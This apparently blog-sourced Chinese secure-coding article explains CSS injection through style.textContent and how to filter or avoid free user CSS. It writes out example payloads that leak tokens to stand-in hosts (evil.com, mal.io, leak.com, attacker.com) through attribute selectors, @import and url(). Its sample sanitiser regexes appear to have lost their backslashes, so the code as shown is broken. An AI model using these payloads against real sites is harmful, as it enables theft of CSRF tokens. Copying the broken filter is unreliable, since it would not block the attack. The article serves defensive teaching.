style.textcontent = usercss 不安全,因 css 支持 url()、属性选择器、@import 等可发起网络请求或读取 dom 的能力,绕过 csp script-src 限制,导致 token 泄露等风险。

直接拼接用户输入进 textContent 或 innerHTML 是高危操作,哪怕只用 style.textContent = userCss 也会触发 CSS 注入,导致敏感属性(如 background-image: url(https://attacker.com/?token=...))泄露 CSRF token 等信息。
为什么 style.textContent = userCss 不安全
CSS 本身不是“被动样式”,它支持属性选择器、@import、url()、expression()(旧 IE)、字体加载回调等可发起网络请求或读取 DOM 的能力。攻击者可构造如下内容:
-
[data-token^="a"] { background: url(https://evil.com/log?a) }→ 猜解 token 首字母 -
@import "https://mal.io/steal.css";→ 外链恶意规则 -
body { font-family: "x", local("foo"), url(https://leak.com/?css=1); }→ 触发请求暴露上下文
浏览器不会报错,但已悄悄外发请求。这类攻击不执行 JS,绕过 CSP 的 script-src 限制,专攻 style-src 和 connect-src 的盲区。
必须剥离的危险语法关键词
对用户提交的 CSS 字符串,不能仅靠白名单标签过滤(CSS 没有“标签”概念),而要主动移除或拒绝以下模式:
- 所有
@import、@charset、@namespace规则(非标准且可控性差) - 含
url(的声明,除非显式白名单协议(如仅允许url(data:或url(#) - 属性选择器中含
^=、$=、*=、|=的表达式(用于猜解) - 函数名如
attr()、element()、counter()(部分可读取 DOM 值) - 任何以
-webkit-、-moz-开头的私有前缀 + 危险值组合(如-webkit-text-stroke: 1px url(...))
注意:calc()、var(--x)、rgba() 等安全函数可保留;但 url() 必须严格拦截,哪怕写成 url( /x )(空格绕过)也要匹配。
推荐做法:用正则预清洗 + CSS 解析器二次校验
单靠正则无法 100% 安全解析 CSS,但生产环境可用两层防护降低风险:
- 第一层:用宽松正则快速剔除明显恶意片段(如
/@import|url([^)]*https?:///gi) - 第二层:用轻量解析器如
css-tree(仅 30KB)遍历 AST,检查每个Url节点的 protocol、每个Selector是否含危险属性匹配符 - 插入前用
style.setAttribute('data-safe', 'true')标记,后续可通过 MutationObserver 拦截非法重写
示例清洗逻辑(简化):
const cleanCss = (input) => {
// 移除 @ 规则和 url() 中的远程地址
let cleaned = input.replace(/@[w-]+s*[^;{]*{?/gi, '');
cleaned = cleaned.replace(/url(s*["']?https?:///gi, 'url(about:blank');
// 移除危险属性选择器
cleaned = cleaned.replace(/[.*[\^$*|]=/g, '[');
return cleaned;
};
该函数不保证绝对安全,仅作初步过滤;真实项目中必须搭配 AST 校验,否则仍可能被 /* */ 注释包裹绕过。
更安全的替代方案:放弃自由 CSS,改用受限样式 API
如果业务只要求“换色”“改字号”“切主题”,根本不需要开放原始 CSS —— 这是绝大多数场景的真实需求:
- 定义明确的样式 schema,如
{ primaryColor: '#007bff', fontSize: '14px', borderRadius: '4px' } - 服务端或前端用预设模板生成 CSS 字符串:
:root { --primary-color: ${escapeCssValue(data.primaryColor)}; } - 所有用户可控字段都走
escapeCssValue()(对引号、反斜杠、括号做 Unicode 转义) - 最终注入仍用
style.textContent,但输入源是受控键值对,而非原始字符串
这种方案彻底规避了 CSS 注入面,也避免了运行时解析开销。真正需要“写 CSS”的用户(如低代码平台开发者),应置于沙箱 iframe 中隔离执行,并禁用其访问父页面 DOM 的权限。
最容易被忽略的一点:即使你做了完整清洗,只要把用户 CSS 插入到当前域的 <style></style> 中,它就能读取同域下所有元素的属性值(包括 data-token、aria-label 等),这是 CSS 规范本身的能力,无法靠转义消除 —— 唯一可靠解法是域隔离或彻底拒绝自由 CSS 输入。
前端入门到VUE实战笔记:立即使用
在学习笔记中,你将探索 前端 的入门与实战技巧!











